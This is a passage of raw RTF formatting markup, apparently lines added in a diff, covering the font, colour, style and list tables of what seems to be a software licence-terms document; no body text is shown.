+{\fhimajor\f31535\fbidi \froman\fcharset186\fprq2 Cambria Baltic;}{\fhimajor\f31536\fbidi \froman\fcharset163\fprq2 Cambria (Vietnamese);}{\fbimajor\f31538\fbidi \froman\fcharset238\fprq2 Times New Roman CE{\*\falt Times};}
+{\fbimajor\f31539\fbidi \froman\fcharset204\fprq2 Times New Roman Cyr{\*\falt Times};}{\fbimajor\f31541\fbidi \froman\fcharset161\fprq2 Times New Roman Greek{\*\falt Times};}
+{\fbimajor\f31542\fbidi \froman\fcharset162\fprq2 Times New Roman Tur{\*\falt Times};}{\fbimajor\f31543\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew){\*\falt Times};}
+{\fbimajor\f31544\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic){\*\falt Times};}{\fbimajor\f31545\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic{\*\falt Times};}
+{\fbimajor\f31546\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese){\*\falt Times};}{\flominor\f31548\fbidi \froman\fcharset238\fprq2 Times New Roman CE{\*\falt Times};}
+{\flominor\f31549\fbidi \froman\fcharset204\fprq2 Times New Roman Cyr{\*\falt Times};}{\flominor\f31551\fbidi \froman\fcharset161\fprq2 Times New Roman Greek{\*\falt Times};}
+{\flominor\f31552\fbidi \froman\fcharset162\fprq2 Times New Roman Tur{\*\falt Times};}{\flominor\f31553\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew){\*\falt Times};}
+{\flominor\f31554\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic){\*\falt Times};}{\flominor\f31555\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic{\*\falt Times};}
+{\flominor\f31556\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese){\*\falt Times};}{\fdbminor\f31558\fbidi \froman\fcharset238\fprq2 Times New Roman CE{\*\falt Times};}
+{\fdbminor\f31559\fbidi \froman\fcharset204\fprq2 Times New Roman Cyr{\*\falt Times};}{\fdbminor\f31561\fbidi \froman\fcharset161\fprq2 Times New Roman Greek{\*\falt Times};}
+{\fdbminor\f31562\fbidi \froman\fcharset162\fprq2 Times New Roman Tur{\*\falt Times};}{\fdbminor\f31563\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew){\*\falt Times};}
+{\fdbminor\f31564\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic){\*\falt Times};}{\fdbminor\f31565\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic{\*\falt Times};}
+{\fdbminor\f31566\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese){\*\falt Times};}{\fhiminor\f31568\fbidi \fswiss\fcharset238\fprq2 Calibri CE{\*\falt Times New Roman};}
+{\fhiminor\f31569\fbidi \fswiss\fcharset204\fprq2 Calibri Cyr{\*\falt Times New Roman};}{\fhiminor\f31571\fbidi \fswiss\fcharset161\fprq2 Calibri Greek{\*\falt Times New Roman};}
+{\fhiminor\f31572\fbidi \fswiss\fcharset162\fprq2 Calibri Tur{\*\falt Times New Roman};}{\fhiminor\f31573\fbidi \fswiss\fcharset177\fprq2 Calibri (Hebrew){\*\falt Times New Roman};}
+{\fhiminor\f31574\fbidi \fswiss\fcharset178\fprq2 Calibri (Arabic){\*\falt Times New Roman};}{\fhiminor\f31575\fbidi \fswiss\fcharset186\fprq2 Calibri Baltic{\*\falt Times New Roman};}
+{\fhiminor\f31576\fbidi \fswiss\fcharset163\fprq2 Calibri (Vietnamese){\*\falt Times New Roman};}{\fbiminor\f31578\fbidi \froman\fcharset238\fprq2 Times New Roman CE{\*\falt Times};}
+{\fbiminor\f31579\fbidi \froman\fcharset204\fprq2 Times New Roman Cyr{\*\falt Times};}{\fbiminor\f31581\fbidi \froman\fcharset161\fprq2 Times New Roman Greek{\*\falt Times};}
+{\fbiminor\f31582\fbidi \froman\fcharset162\fprq2 Times New Roman Tur{\*\falt Times};}{\fbiminor\f31583\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew){\*\falt Times};}
+{\fbiminor\f31584\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic){\*\falt Times};}{\fbiminor\f31585\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic{\*\falt Times};}
+{\fbiminor\f31586\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese){\*\falt Times};}}{\colortbl;\red0\green0\blue0;\red0\green0\blue255;\red0\green255\blue255;\red0\green255\blue0;\red255\green0\blue255;\red255\green0\blue0;
+\red255\green255\blue0;\red255\green255\blue255;\red0\green0\blue128;\red0\green128\blue128;\red0\green128\blue0;\red128\green0\blue128;\red128\green0\blue0;\red128\green128\blue0;\red128\green128\blue128;\red192\green192\blue192;
+\cfollowedhyperlink\ctint255\cshade255\red128\green0\blue128;}{\*\defchp \f31506\fs22 }{\*\defpap \ql \fi-360\li360\ri0\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin360\itap0 }\noqfpromote {\stylesheet{
+\ql \li0\ri0\sb120\sa120\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 \rtlch\fcs1 \af43\afs19\alang1025 \ltrch\fcs0 \fs19\lang1033\langfe1033\loch\f43\hich\af43\dbch\af11\cgrid\langnp1033\langfenp1033 
+\snext0 \sautoupd \sqformat \spriority0 \styrsid4934124 Normal;}{\s1\ql \fi-357\li357\ri0\sb120\sa120\widctlpar\jclisttab\tx360\wrapdefault\aspalpha\aspnum\faauto\ls1\outlinelevel0\adjustright\rin0\lin357\itap0 \rtlch\fcs1 \ab\af43\afs19\alang1025 
+\ltrch\fcs0 \b\f43\fs19\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 \sbasedon0 \snext1 \slink15 \sqformat \styrsid4934124 heading 1;}{\s2\ql \fi-363\li720\ri0\sb120\sa120\widctlpar
+\jclisttab\tx720\wrapdefault\aspalpha\aspnum\faauto\ls1\ilvl1\outlinelevel1\adjustright\rin0\lin720\itap0 \rtlch\fcs1 \ab\af43\afs19\alang1025 \ltrch\fcs0 \b\f43\fs19\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 
+\sbasedon0 \snext2 \slink16 \sunhideused \sqformat \styrsid4934124 heading 2;}{\s3\ql \fi-357\li1077\ri0\sb120\sa120\widctlpar\tx1077\jclisttab\tx1440\wrapdefault\aspalpha\aspnum\faauto\ls1\ilvl2\outlinelevel2\adjustright\rin0\lin1077\itap0 \rtlch\fcs1 
+\af43\afs19\alang1025 \ltrch\fcs0 \f43\fs19\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 \sbasedon0 \snext3 \slink17 \sunhideused \sqformat \styrsid4934124 heading 3;}{\s4\ql \fi-358\li1435\ri0\sb120\sa120\widctlpar
+\jclisttab\tx1437\wrapdefault\aspalpha\aspnum\faauto\ls1\ilvl3\outlinelevel3\adjustright\rin0\lin1435\itap0 \rtlch\fcs1 \af43\afs19\alang1025 \ltrch\fcs0 \f43\fs19\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 
+\sbasedon0 \snext4 \slink18 \sunhideused \sqformat \styrsid4934124 heading 4;}{\s5\ql \fi-357\li1792\ri0\sb120\sa120\widctlpar\tx1792\jclisttab\tx2155\wrapdefault\aspalpha\aspnum\faauto\ls1\ilvl4\outlinelevel4\adjustright\rin0\lin1792\itap0 \rtlch\fcs1 
+\af43\afs19\alang1025 \ltrch\fcs0 \f43\fs19\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 \sbasedon0 \snext5 \slink19 \sunhideused \sqformat \styrsid4934124 heading 5;}{\s6\ql \fi-357\li2149\ri0\sb120\sa120\widctlpar
+\jclisttab\tx2152\wrapdefault\aspalpha\aspnum\faauto\ls1\ilvl5\outlinelevel5\adjustright\rin0\lin2149\itap0 \rtlch\fcs1 \af43\afs19\alang1025 \ltrch\fcs0 \f43\fs19\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 
+\sbasedon0 \snext6 \slink20 \sunhideused \sqformat \styrsid4934124 heading 6;}{\s7\ql \fi-357\li2506\ri0\sb120\sa120\widctlpar\jclisttab\tx2509\wrapdefault\aspalpha\aspnum\faauto\ls1\ilvl6\outlinelevel6\adjustright\rin0\lin2506\itap0 \rtlch\fcs1 
+\af43\afs19\alang1025 \ltrch\fcs0 \fs19\lang1033\langfe1033\loch\f43\hich\af43\dbch\af11\cgrid\langnp1033\langfenp1033 \sbasedon0 \snext7 \slink21 \sunhideused \sqformat \styrsid4934124 heading 7;}{\s8\ql \fi-357\li2863\ri0\sb120\sa120\widctlpar
+\jclisttab\tx2866\wrapdefault\aspalpha\aspnum\faauto\ls1\ilvl7\outlinelevel7\adjustright\rin0\lin2863\itap0 \rtlch\fcs1 \af43\afs19\alang1025 \ltrch\fcs0 \fs19\lang1033\langfe1033\loch\f43\hich\af43\dbch\af11\cgrid\langnp1033\langfenp1033 
+\sbasedon0 \snext8 \slink22 \sunhideused \sqformat \styrsid4934124 heading 8;}{\s9\ql \fi-358\li3221\ri0\sb120\sa120\widctlpar\jclisttab\tx3223\wrapdefault\aspalpha\aspnum\faauto\ls1\ilvl8\outlinelevel8\adjustright\rin0\lin3221\itap0 \rtlch\fcs1 
+\af43\afs19\alang1025 \ltrch\fcs0 \fs19\lang1033\langfe1033\loch\f43\hich\af43\dbch\af11\cgrid\langnp1033\langfenp1033 \sbasedon0 \snext9 \slink23 \sunhideused \sqformat \styrsid4934124 heading 9;}{\*\cs10 \additive \ssemihidden \sunhideused \spriority1 
+Default Paragraph Font;}{\*\ts11\tsrowd\trftsWidthB3\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblind0\tblindtype3\tsvertalt\tsbrdrt\tsbrdrl\tsbrdrb\tsbrdrr\tsbrdrdgl\tsbrdrdgr\tsbrdrh\tsbrdrv 
+\ql \fi-360\li360\ri0\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin360\itap0 \rtlch\fcs1 \af31506\afs22\alang1025 \ltrch\fcs0 \f31506\fs22\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 \snext11 \ssemihidden \sunhideused 
+Normal Table;}{\*\cs15 \additive \rtlch\fcs1 \ab\af43\afs19 \ltrch\fcs0 \b\f43\fs19 \sbasedon10 \slink1 \slocked \styrsid4934124 Heading 1 Char;}{\*\cs16 \additive \rtlch\fcs1 \ab\af43\afs19 \ltrch\fcs0 \b\f43\fs19 
+\sbasedon10 \slink2 \slocked \ssemihidden \styrsid4934124 Heading 2 Char;}{\*\cs17 \additive \rtlch\fcs1 \af43\afs19 \ltrch\fcs0 \f43\fs19 \sbasedon10 \slink3 \slocked \ssemihidden \styrsid4934124 Heading 3 Char;}{\*\cs18 \additive \rtlch\fcs1 
+\af43\afs19 \ltrch\fcs0 \f43\fs19 \sbasedon10 \slink4 \slocked \ssemihidden \styrsid4934124 Heading 4 Char;}{\*\cs19 \additive \rtlch\fcs1 \af43\afs19 \ltrch\fcs0 \f43\fs19 \sbasedon10 \slink5 \slocked \ssemihidden \styrsid4934124 Heading 5 Char;}{\*
+\cs20 \additive \rtlch\fcs1 \af43\afs19 \ltrch\fcs0 \f43\fs19 \sbasedon10 \slink6 \slocked \ssemihidden \styrsid4934124 Heading 6 Char;}{\*\cs21 \additive \rtlch\fcs1 \af43\afs19 \ltrch\fcs0 \fs19\loch\f43\hich\af43\dbch\af11 
+\sbasedon10 \slink7 \slocked \ssemihidden \styrsid4934124 Heading 7 Char;}{\*\cs22 \additive \rtlch\fcs1 \af43\afs19 \ltrch\fcs0 \fs19\loch\f43\hich\af43\dbch\af11 \sbasedon10 \slink8 \slocked \ssemihidden \styrsid4934124 Heading 8 Char;}{\*\cs23 
+\additive \rtlch\fcs1 \af43\afs19 \ltrch\fcs0 \fs19\loch\f43\hich\af43\dbch\af11 \sbasedon10 \slink9 \slocked \ssemihidden \styrsid4934124 Heading 9 Char;}{\*\cs24 \additive \rtlch\fcs1 \af0 \ltrch\fcs0 \f0\ul\cf2 \sbasedon10 \sunhideused \styrsid4934124 
+Hyperlink;}{\s25\ql \li357\ri0\sb120\sa120\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin357\itap0 \rtlch\fcs1 \af43\afs19\alang1025 \ltrch\fcs0 \fs19\lang1033\langfe1033\loch\f43\hich\af43\dbch\af11\cgrid\langnp1033\langfenp1033 
+\sbasedon0 \snext25 \styrsid4934124 Body 1;}{\s26\ql \fi-363\li720\ri0\sb120\sa120\widctlpar\jclisttab\tx720\wrapdefault\aspalpha\aspnum\faauto\ls2\adjustright\rin0\lin720\itap0 \rtlch\fcs1 \af43\afs19\alang1025 \ltrch\fcs0 
+\fs19\lang1033\langfe1033\loch\f43\hich\af43\dbch\af11\cgrid\langnp1033\langfenp1033 \sbasedon0 \snext26 \styrsid4934124 Bullet 2;}{\s27\ql \fi-357\li1077\ri0\sb120\sa120\widctlpar
+\jclisttab\tx1080\wrapdefault\aspalpha\aspnum\faauto\ls3\adjustright\rin0\lin1077\itap0 \rtlch\fcs1 \af43\afs19\alang1025 \ltrch\fcs0 \fs19\lang1033\langfe1033\loch\f43\hich\af43\dbch\af11\cgrid\langnp1033\langfenp1033 
+\sbasedon0 \snext27 \slink48 \styrsid4934124 Bullet 3;}{\s28\ql \li0\ri0\sb120\sa120\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 \rtlch\fcs1 \ab\af43\afs28\alang1025 \ltrch\fcs0 
+\b\fs28\lang1033\langfe1033\loch\f43\hich\af43\dbch\af11\cgrid\langnp1033\langfenp1033 \sbasedon0 \snext0 \styrsid4934124 Heading EULA;}{\s29\ql \li0\ri0\sb120\sa120\widctlpar\brdrb\brdrs\brdrw10\brsp20 
+\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 \rtlch\fcs1 \ab\af43\afs28\alang1025 \ltrch\fcs0 \b\fs28\lang1033\langfe1033\loch\f43\hich\af43\dbch\af11\cgrid\langnp1033\langfenp1033 \sbasedon0 \snext0 \styrsid4934124 
+Heading Software Title;}{\s30\ql \li0\ri0\sb120\sa120\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 \rtlch\fcs1 \ab\af43\afs19\alang1025 \ltrch\fcs0 
+\b\fs19\lang1033\langfe1033\loch\f43\hich\af43\dbch\af11\cgrid\langnp1033\langfenp1033 \sbasedon0 \snext30 \styrsid4934124 Preamble;}{\s31\ql \li0\ri0\sb120\sa120\widctlpar\brdrt\brdrs\brdrw10\brsp20 
+\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 \rtlch\fcs1 \ab\af43\afs19\alang1025 \ltrch\fcs0 \b\fs19\lang1033\langfe1033\loch\f43\hich\af43\dbch\af11\cgrid\langnp1033\langfenp1033 \sbasedon30 \snext31 \styrsid4934124 
+Preamble Border Above;}{\s32\ql \li0\ri0\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 \rtlch\fcs1 \ab\af43\afs19\alang1025 \ltrch\fcs0 \b\fs19\lang1033\langfe1033\loch\f43\hich\af43\dbch\af11\cgrid\langnp1033\langfenp1033 
+\snext0 \styrsid4934124 Body 0 Bold;}{\s33\ql \li0\ri0\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 \rtlch\fcs1 \af43\afs19\alang1025 \ltrch\fcs0 
+\fs19\lang1033\langfe1033\loch\f43\hich\af43\dbch\af11\cgrid\langnp1033\langfenp1033 \snext0 \styrsid4934124 Body 0;}{\s34\ql \li0\ri0\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 \rtlch\fcs1 \af43\afs16\alang1025 \ltrch\fcs0 
+\fs16\lang1033\langfe1033\loch\f43\hich\af43\dbch\af11\cgrid\langnp1033\langfenp1033 \sbasedon0 \snext34 \slink35 \ssemihidden \sunhideused \styrsid11950712 Balloon Text;}{\*\cs35 \additive \rtlch\fcs1 \af43\afs16 \ltrch\fcs0 
+\fs16\loch\f43\hich\af43\dbch\af11 \sbasedon10 \slink34 \slocked \ssemihidden \styrsid11950712 Balloon Text Char;}{\s36\ql \fi-357\li357\ri0\sb120\sa120\widctlpar\jclisttab\tx360\wrapdefault\aspalpha\aspnum\faauto\ls4\adjustright\rin0\lin357\itap0 
+\rtlch\fcs1 \af43\afs19\alang1025 \ltrch\fcs0 \fs19\lang1033\langfe1033\loch\f43\hich\af43\dbch\af11\cgrid\langnp1033\langfenp1033 \sbasedon0 \snext36 \styrsid11950712 Bullet 1;}{\s37\ql \fi-358\li1435\ri0\sb120\sa120\widctlpar
+\jclisttab\tx1437\wrapdefault\aspalpha\aspnum\faauto\ls5\adjustright\rin0\lin1435\itap0 \rtlch\fcs1 \af43\afs19\alang1025 \ltrch\fcs0 \fs19\lang1033\langfe1033\loch\f43\hich\af43\dbch\af11\cgrid\langnp1033\langfenp1033 
+\sbasedon0 \snext37 \styrsid11950712 Bullet 4;}{\s38\ql \fi-357\li1792\ri0\sb120\sa120\widctlpar\jclisttab\tx1795\wrapdefault\aspalpha\aspnum\faauto\ls6\adjustright\rin0\lin1792\itap0 \rtlch\fcs1 \af43\afs19\alang1025 \ltrch\fcs0 
+\fs19\lang1033\langfe1033\loch\f43\hich\af43\dbch\af11\cgrid\langnp1033\langfenp1033 \sbasedon0 \snext38 \styrsid11950712 Bullet 5;}{\s39\ql \fi-357\li1077\ri0\sb120\sa120\widctlpar
+\tx1077\jclisttab\tx1440\wrapdefault\aspalpha\aspnum\faauto\ls7\ilvl2\outlinelevel2\adjustright\rin0\lin1077\itap0 \rtlch\fcs1 \ab\af43\afs19\alang1025 \ltrch\fcs0 \b\fs19\lang1033\langfe1033\loch\f43\hich\af43\dbch\af11\cgrid\langnp1033\langfenp1033 
+\sbasedon3 \snext39 \slink50 \styrsid11950712 Heading 3 Bold;}{\s40\ql \fi-358\li1435\ri0\sb120\sa120\widctlpar\jclisttab\tx1437\wrapdefault\aspalpha\aspnum\faauto\ls5\adjustright\rin0\lin1435\itap0 \rtlch\fcs1 \af43\afs19\alang1025 \ltrch\fcs0 
+\fs19\ul\lang1033\langfe1033\loch\f43\hich\af43\dbch\af11\cgrid\langnp1033\langfenp1033 \sbasedon37 \snext40 \styrsid11950712 Bullet 4 Underline;}{\*\cs41 \additive \rtlch\fcs1 \af43 \ltrch\fcs0 \f43\lang1033\langfe1033\langnp1033\langfenp1033 
+\sbasedon10 \styrsid11950712 Body 2 Char;}{\*\cs42 \additive \rtlch\fcs1 \af43 \ltrch\fcs0 \f43\lang1033\langfe1033\langnp1033\langfenp1033 \sbasedon10 \styrsid11950712 Body 3 Char;}{\*\cs43 \additive \rtlch\fcs1 \af0\afs16 \ltrch\fcs0 \fs16 
+\sbasedon10 \ssemihidden \sunhideused \styrsid8850722 annotation reference;}{\s44\ql \li0\ri0\sb120\sa120\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 \rtlch\fcs1 \af43\afs20\alang1025 \ltrch\fcs0 
+\fs20\lang1033\langfe1033\loch\f43\hich\af43\dbch\af11\cgrid\langnp1033\langfenp1033 \sbasedon0 \snext44 \slink45 \sunhideused \styrsid8850722 annotation text;}{\*\cs45 \additive \rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \fs20\loch\f43\hich\af43\dbch\af11 
+\sbasedon10 \slink44 \slocked \styrsid8850722 Comment Text Char;}{\s46\ql \li0\ri0\sb120\sa120\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 \rtlch\fcs1 \ab\af43\afs20\alang1025 \ltrch\fcs0 
+\b\fs20\lang1033\langfe1033\loch\f43\hich\af43\dbch\af11\cgrid\langnp1033\langfenp1033 \sbasedon44 \snext44 \slink47 \ssemihidden \sunhideused \styrsid8850722 annotation subject;}{\*\cs47 \additive \rtlch\fcs1 \ab\af43\afs20 \ltrch\fcs0 
+\b\fs20\loch\f43\hich\af43\dbch\af11 \sbasedon45 \slink46 \slocked \ssemihidden \styrsid8850722 Comment Subject Char;}{\*\cs48 \additive \rtlch\fcs1 \af43\afs19 \ltrch\fcs0 \fs19\loch\f43\hich\af43\dbch\af11 \sbasedon10 \slink27 \slocked \styrsid2434661 
+Bullet 3 Char1;}{\s49\ql \fi-357\li357\ri0\sb120\sa120\widctlpar\jclisttab\tx360\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin357\itap0 \rtlch\fcs1 \af43\afs19\alang1025 \ltrch\fcs0 
+\fs19\ul\lang1033\langfe1033\loch\f43\hich\af43\dbch\af11\cgrid\langnp1033\langfenp1033 \sbasedon37 \snext49 \spriority0 \styrsid3941498 Bullet 4 Underlined;}{\*\cs50 \additive \rtlch\fcs1 \ab\af43\afs19 \ltrch\fcs0 \b\fs19\loch\f43\hich\af43\dbch\af11 
+\sbasedon10 \slink39 \slocked \styrsid3941498 Heading 3 Bold Char;}{\s51\ql \li0\ri0\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 \rtlch\fcs1 \af0\afs21\alang1025 \ltrch\fcs0 
+\f37\fs22\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 \sbasedon0 \snext51 \slink52 \ssemihidden \sunhideused \styrsid3941498 Plain Text;}{\*\cs52 \additive \rtlch\fcs1 \af0\afs21 \ltrch\fcs0 \f37\fs21 
+\sbasedon10 \slink51 \slocked \ssemihidden \styrsid3941498 Plain Text Char;}{\s53\ql \li0\ri0\widctlpar\tqc\tx4680\tqr\tx9360\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 \rtlch\fcs1 \af43\afs19\alang1025 \ltrch\fcs0 
+\fs19\lang1033\langfe1033\loch\f43\hich\af43\dbch\af11\cgrid\langnp1033\langfenp1033 \sbasedon0 \snext53 \slink54 \sunhideused \styrsid11152386 header;}{\*\cs54 \additive \rtlch\fcs1 \af43\afs19 \ltrch\fcs0 \fs19\loch\f43\hich\af43\dbch\af11 
+\sbasedon10 \slink53 \slocked \styrsid11152386 Header Char;}{\s55\ql \li0\ri0\widctlpar\tqc\tx4680\tqr\tx9360\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 \rtlch\fcs1 \af43\afs19\alang1025 \ltrch\fcs0 
+\fs19\lang1033\langfe1033\loch\f43\hich\af43\dbch\af11\cgrid\langnp1033\langfenp1033 \sbasedon0 \snext55 \slink56 \sunhideused \styrsid11152386 footer;}{\*\cs56 \additive \rtlch\fcs1 \af43\afs19 \ltrch\fcs0 \fs19\loch\f43\hich\af43\dbch\af11 
+\sbasedon10 \slink55 \slocked \styrsid11152386 Footer Char;}{\*\cs57 \additive \rtlch\fcs1 \af0 \ltrch\fcs0 \ul\cf17 \sbasedon10 \ssemihidden \sunhideused \styrsid2061565 FollowedHyperlink;}}{\*\listtable{\list\listtemplateid-899113366{\listlevel
+\levelnfc4\levelnfcn4\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\'02\'00.;}{\levelnumbers\'01;}\rtlch\fcs1 \ab\ai0\af0\afs20 \ltrch\fcs0 \b\i0\fs20\cf0\fbias0\hres0\chhres0 \fi-357\li357\jclisttab\tx360\lin357 }
+{\listlevel\levelnfc4\levelnfcn4\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\'02\'01.;}{\levelnumbers\'01;}\rtlch\fcs1 \ab\ai0\af43\afs20 \ltrch\fcs0 \b\i0\f43\fs20\fbias0\hres0\chhres0 \fi-363\li720
+\jclisttab\tx720\lin720 }{\listlevel\levelnfc4\levelnfcn4\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\'02\'02.;}{\levelnumbers\'01;}\rtlch\fcs1 \ab\ai0\af0\afs20 \ltrch\fcs0 \b\i0\fs20\fbias0\hres0\chhres0 
+\fi-357\li1077\jclisttab\tx1440\lin1077 }{\listlevel\levelnfc3\levelnfcn3\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\'02\'03.;}{\levelnumbers\'01;}\rtlch\fcs1 \ab0\ai0\af44\afs20 \ltrch\fcs0 
+\b0\i0\strike0\f44\fs20\ulnone\fbias0\hres0\chhres0 \fi-358\li1435\jclisttab\tx1437\lin1435 }{\listlevel\levelnfc1\levelnfcn1\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\'02\'04.;}{\levelnumbers\'01;}\rtlch\fcs1 
+\ab0\ai0\af44\afs20 \ltrch\fcs0 \b0\i0\strike0\f44\fs20\ulnone\fbias0\hres0\chhres0 \fi-357\li1792\jclisttab\tx2155\lin1792 }{\listlevel\levelnfc0\levelnfcn0\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext
+\'02\'05.;}{\levelnumbers\'01;}\rtlch\fcs1 \ab0\ai0\af44\afs20 \ltrch\fcs0 \b0\i0\f44\fs20\fbias0\hres0\chhres0 \fi-357\li2149\jclisttab\tx2152\lin2149 }{\listlevel\levelnfc4\levelnfcn4\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0
+\levelindent0{\leveltext\'02\'06.;}{\levelnumbers\'01;}\rtlch\fcs1 \ab0\ai0\af44\afs20 \ltrch\fcs0 \b0\i0\f44\fs20\fbias0\hres0\chhres0 \fi-357\li2506\jclisttab\tx2509\lin2506 }{\listlevel\levelnfc255\levelnfcn255\leveljc0\leveljcn0\levelfollow0
+\levelstartat1\levelspace0\levelindent0{\leveltext\'02i.;}{\levelnumbers;}\rtlch\fcs1 \ab0\ai0\af44\afs20 \ltrch\fcs0 \b0\i0\f44\fs20\fbias0\hres0\chhres0 \fi-357\li2863\jclisttab\tx2866\lin2863 }{\listlevel\levelnfc255\levelnfcn255\leveljc0\leveljcn0
+\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\'02A.;}{\levelnumbers;}\rtlch\fcs1 \ab0\ai0\af44\afs20 \ltrch\fcs0 \b0\i0\f44\fs20\fbias0\hres0\chhres0 \fi-358\li3221\jclisttab\tx3223\lin3221 }{\listname ;}\listid113718381}
+{\list\listtemplateid1122370636\listhybrid{\listlevel\levelnfc4\levelnfcn4\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\leveltemplateid67698713\'02\'00.;}{\levelnumbers\'01;}\rtlch\fcs1 \af0 \ltrch\fcs0 
+\fbias0\hres0\chhres0 \fi-357\li720\jclisttab\tx723\lin720 }{\listlevel\levelnfc23\levelnfcn23\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\leveltemplateid67698691\'01o;}{\levelnumbers;}\f2\fbias0\hres0\chhres0 \li1083
+\jclisttab\tx1083\lin1083 }{\listlevel\levelnfc23\levelnfcn23\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\leveltemplateid67698693\'01\u-3929 ?;}{\levelnumbers;}\f10\fbias0\hres0\chhres0 \li1803
+\jclisttab\tx1803\lin1803 }{\listlevel\levelnfc23\levelnfcn23\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\leveltemplateid67698689\'01\u-3913 ?;}{\levelnumbers;}\f3\fbias0\hres0\chhres0 \li2523
+\jclisttab\tx2523\lin2523 }{\listlevel\levelnfc23\levelnfcn23\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\leveltemplateid67698691\'01o;}{\levelnumbers;}\f2\fbias0\hres0\chhres0 \li3243\jclisttab\tx3243\lin3243 }
+{\listlevel\levelnfc23\levelnfcn23\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\leveltemplateid67698693\'01\u-3929 ?;}{\levelnumbers;}\f10\fbias0\hres0\chhres0 \li3963\jclisttab\tx3963\lin3963 }{\listlevel\levelnfc23
+\levelnfcn23\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\leveltemplateid67698689\'01\u-3913 ?;}{\levelnumbers;}\f3\fbias0\hres0\chhres0 \li4683\jclisttab\tx4683\lin4683 }{\listlevel\levelnfc23\levelnfcn23\leveljc0
+\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\leveltemplateid67698691\'01o;}{\levelnumbers;}\f2\fbias0\hres0\chhres0 \li5403\jclisttab\tx5403\lin5403 }{\listlevel\levelnfc23\levelnfcn23\leveljc0\leveljcn0\levelfollow0
+\levelstartat1\levelspace0\levelindent0{\leveltext\leveltemplateid67698693\'01\u-3929 ?;}{\levelnumbers;}\f10\fbias0\hres0\chhres0 \li6123\jclisttab\tx6123\lin6123 }{\listname ;}\listid152650329}{\list\listtemplateid-355573436{\listlevel\levelnfc0
+\levelnfcn0\leveljc0\leveljcn0\levelfollow0\levelstartat1\levelspace0\levelindent0{\leveltext\'02\'00.;}{\levelnumbers\'01;}\rtlch\fcs1 \ab\ai0\af44\afs20 \ltrch\fcs0 \b\i0\f44\fs20\fbias0\hres0\chhres0 \fi-357\li357\jclisttab\tx360\lin357 }{\listlevel
+\levelnfc4\levelnfcn4\leveljc0\leveljcn0\levelfollow0\levelstartat2\levelspace0\levelindent0{\leveltext\'02\'01.;}{\levelnumbers\'01;}\rtlch\fcs1 \ab\ai0\af44\afs20 \ltrch\fcs0 \b\i0\f44\fs20\fbias0\hres0\chhres0 \fi-363\li720\jclisttab\tx720\lin720 }
